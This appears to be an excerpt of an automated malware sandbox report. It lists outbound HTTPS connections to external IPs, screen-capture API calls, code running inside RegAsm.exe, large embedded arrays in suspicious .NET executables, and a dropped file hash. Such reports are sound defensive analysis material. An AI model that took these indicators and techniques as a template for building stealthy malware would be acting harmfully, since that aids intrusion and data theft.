Source: unknown	Network traffic detected: HTTP traffic on port 65302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65299
Source: unknown	Network traffic detected: HTTP traffic on port 65290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65230
Source: unknown	Network traffic detected: HTTP traffic on port 65262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65299 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65240
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65234
Source: unknown	Network traffic detected: HTTP traffic on port 65296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65239
Source: unknown	Network traffic detected: HTTP traffic on port 65271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65250
Source: unknown	Network traffic detected: HTTP traffic on port 65283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65246
Source: unknown	Network traffic detected: HTTP traffic on port 65274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65247
Source: unknown	Network traffic detected: HTTP traffic on port 65309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65245
Source: unknown	Network traffic detected: HTTP traffic on port 65297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65261
Source: unknown	Network traffic detected: HTTP traffic on port 65232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65264
Source: unknown	Network traffic detected: HTTP traffic on port 65312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65262
Source: unknown	Network traffic detected: HTTP traffic on port 65288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65255
Source: unknown	Network traffic detected: HTTP traffic on port 65277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65235 -> 443

Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.3.46:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:65230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.6:65231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.132:443 -> 192.168.2.6:65265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:65267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.56.150:443 -> 192.168.2.6:65268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.18:443 -> 192.168.2.6:65270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.18.193:443 -> 192.168.2.6:65272 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.3:443 -> 192.168.2.6:65274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.186:443 -> 192.168.2.6:65276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:65277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.12:443 -> 192.168.2.6:65278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:65283 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.132:443 -> 192.168.2.6:65284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.6:65286 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:65287 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.56.150:443 -> 192.168.2.6:65288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.18.193:443 -> 192.168.2.6:65291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.3:443 -> 192.168.2.6:65293 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.186:443 -> 192.168.2.6:65295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:65297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.12:443 -> 192.168.2.6:65298 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:65303 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.6:65304 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

7_2_00411F55

System Summary

.NET source code contains very large array initializations

Source: 66fb252fe232b_Patksl.exe, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 1943552
Source: HDGIJJDGCB.exe.7.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 360448
Source: 66fbfcc9963ca_ldfsna[1].exe.7.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 360448

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042BF20 __aulldiv,VirtualAlloc,__aulldiv,__aulldiv,NtQuerySystemInformation,__aulldiv,WideCharToMultiByte,CharToOemA,VirtualFree,__aulldiv,		3_2_0042BF20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040145B GetCurrentProcess,NtQueryInformationProcess,		7_2_0040145B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004400A0	3_2_004400A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004CE2E0	3_2_004CE2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004263E0	3_2_004263E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042B840	3_2_0042B840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0046C8D0	3_2_0046C8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004358A0	3_2_004358A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042F900	3_2_0042F900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00450910	3_2_00450910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004309A0	3_2_004309A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00441AF0	3_2_00441AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00433CF0	3_2_00433CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00436CA0	3_2_00436CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00508D80	3_2_00508D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432DB0	3_2_00432DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00433F10	3_2_00433F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0056703D	3_2_0056703D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004210E0	3_2_004210E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402100	3_2_00402100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004213A0	3_2_004213A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00423480	3_2_00423480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5E0	3_2_0040B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00405640	3_2_00405640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00422640	3_2_00422640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00440600	3_2_00440600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402630	3_2_00402630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_005166C5	3_2_005166C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042C740	3_2_0042C740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0056274C	3_2_0056274C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0054D74A	3_2_0054D74A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00421820	3_2_00421820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00429830	3_2_00429830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_005128D0	3_2_005128D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_005168C0	3_2_005168C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004428D0	3_2_004428D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00543889	3_2_00543889
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00423900	3_2_00423900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041E9E0	3_2_0041E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00561B30	3_2_00561B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00449D20	3_2_00449D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00424E70	3_2_00424E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CEF0	3_2_0042CEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00542EE0	3_2_00542EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401E90	3_2_00401E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00551F50	3_2_00551F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0054FF18	3_2_0054FF18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042BF20	3_2_0042BF20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042D933	7_2_0042D933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042D1C3	7_2_0042D1C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041C472	7_2_0041C472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042D561	7_2_0042D561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041950A	7_2_0041950A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042DD1B	7_2_0042DD1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042CD2E	7_2_0042CD2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041B712	7_2_0041B712
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5AAC60	7_2_6C5AAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C67AC30	7_2_6C67AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C666C00	7_2_6C666C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5FECD0	7_2_6C5FECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C59ECC0	7_2_6C59ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C66ED70	7_2_6C66ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6CAD50	7_2_6C6CAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C728D20	7_2_6C728D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C72CDC0	7_2_6C72CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5A4DB0	7_2_6C5A4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C636D90	7_2_6C636D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C63EE70	7_2_6C63EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C680E20	7_2_6C680E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5AAEC0	7_2_6C5AAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C640EC0	7_2_6C640EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C626E90	7_2_6C626E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C662F70	7_2_6C662F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C60EF40	7_2_6C60EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5A6F10	7_2_6C5A6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6E0F20	7_2_6C6E0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C67EFF0	7_2_6C67EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5A0FE0	7_2_6C5A0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6E8FB0	7_2_6C6E8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5AEFB0	7_2_6C5AEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C674840	7_2_6C674840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C62A820	7_2_6C62A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5F0820	7_2_6C5F0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6A68E0	7_2_6C6A68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5D8960	7_2_6C5D8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5F6900	7_2_6C5F6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6BC9E0	7_2_6C6BC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5D49F0	7_2_6C5D49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6309A0	7_2_6C6309A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C65A9A0	7_2_6C65A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6609B0	7_2_6C6609B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C61CA70	7_2_6C61CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C658A30	7_2_6C658A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C64EA00	7_2_6C64EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C61EA80	7_2_6C61EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6A6BE0	7_2_6C6A6BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C640BA0	7_2_6C640BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5B8460	7_2_6C5B8460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C604420	7_2_6C604420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C62A430	7_2_6C62A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5E64D0	7_2_6C5E64D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C63A4D0	7_2_6C63A4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6CA480	7_2_6C6CA480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C602560	7_2_6C602560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C640570	7_2_6C640570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5F8540	7_2_6C5F8540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6A4540	7_2_6C6A4540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6E8550	7_2_6C6E8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C66A5E0	7_2_6C66A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C62E5F0	7_2_6C62E5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5945B0	7_2_6C5945B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5FC650	7_2_6C5FC650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C63E6E0	7_2_6C63E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5C46D0	7_2_6C5C46D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5FE6E0	7_2_6C5FE6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C620700	7_2_6C620700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5CA7D0	7_2_6C5CA7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5EE070	7_2_6C5EE070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C66C000	7_2_6C66C000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C668010	7_2_6C668010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C598090	7_2_6C598090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C67C0B0	7_2_6C67C0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5B00B0	7_2_6C5B00B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C608140	7_2_6C608140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C616130	7_2_6C616130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C684130	7_2_6C684130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5A01E0	7_2_6C5A01E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C628260	7_2_6C628260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C638250	7_2_6C638250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C678220	7_2_6C678220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C66A210	7_2_6C66A210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C7262C0	7_2_6C7262C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6722A0	7_2_6C6722A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C66E2B0	7_2_6C66E2B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6BC360	7_2_6C6BC360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C636370	7_2_6C636370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5A8340	7_2_6C5A8340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6E2370	7_2_6C6E2370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5A2370	7_2_6C5A2370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C612320	7_2_6C612320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5F43E0	7_2_6C5F43E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5FE3B0	7_2_6C5FE3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5D23A0	7_2_6C5D23A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5A3C40	7_2_6C5A3C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6C9C40	7_2_6C6C9C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5B1C30	7_2_6C5B1C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C661CE0	7_2_6C661CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6DDCD0	7_2_6C6DDCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C63FC80	7_2_6C63FC80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C603D00	7_2_6C603D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C671DC0	7_2_6C671DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C593D80	7_2_6C593D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6E9D90	7_2_6C6E9D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C725E60	7_2_6C725E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6FBE70	7_2_6C6FBE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6ADE10	7_2_6C6ADE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5C3EC0	7_2_6C5C3EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6F7F20	7_2_6C6F7F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C595F30	7_2_6C595F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5D5F20	7_2_6C5D5F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C64BFF0	7_2_6C64BFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6BDFC0	7_2_6C6BDFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C723FC0	7_2_6C723FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5C1F90	7_2_6C5C1F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C5FD810	7_2_6C5FD810

Source: Joe Sandbox View	Dropped File: C:\ProgramData\AAAKEBGDAF.exe BB28BB63ED34A3B4F97A0A26BDA8A7A7C60F961010C795007EDC52576B89E4D3
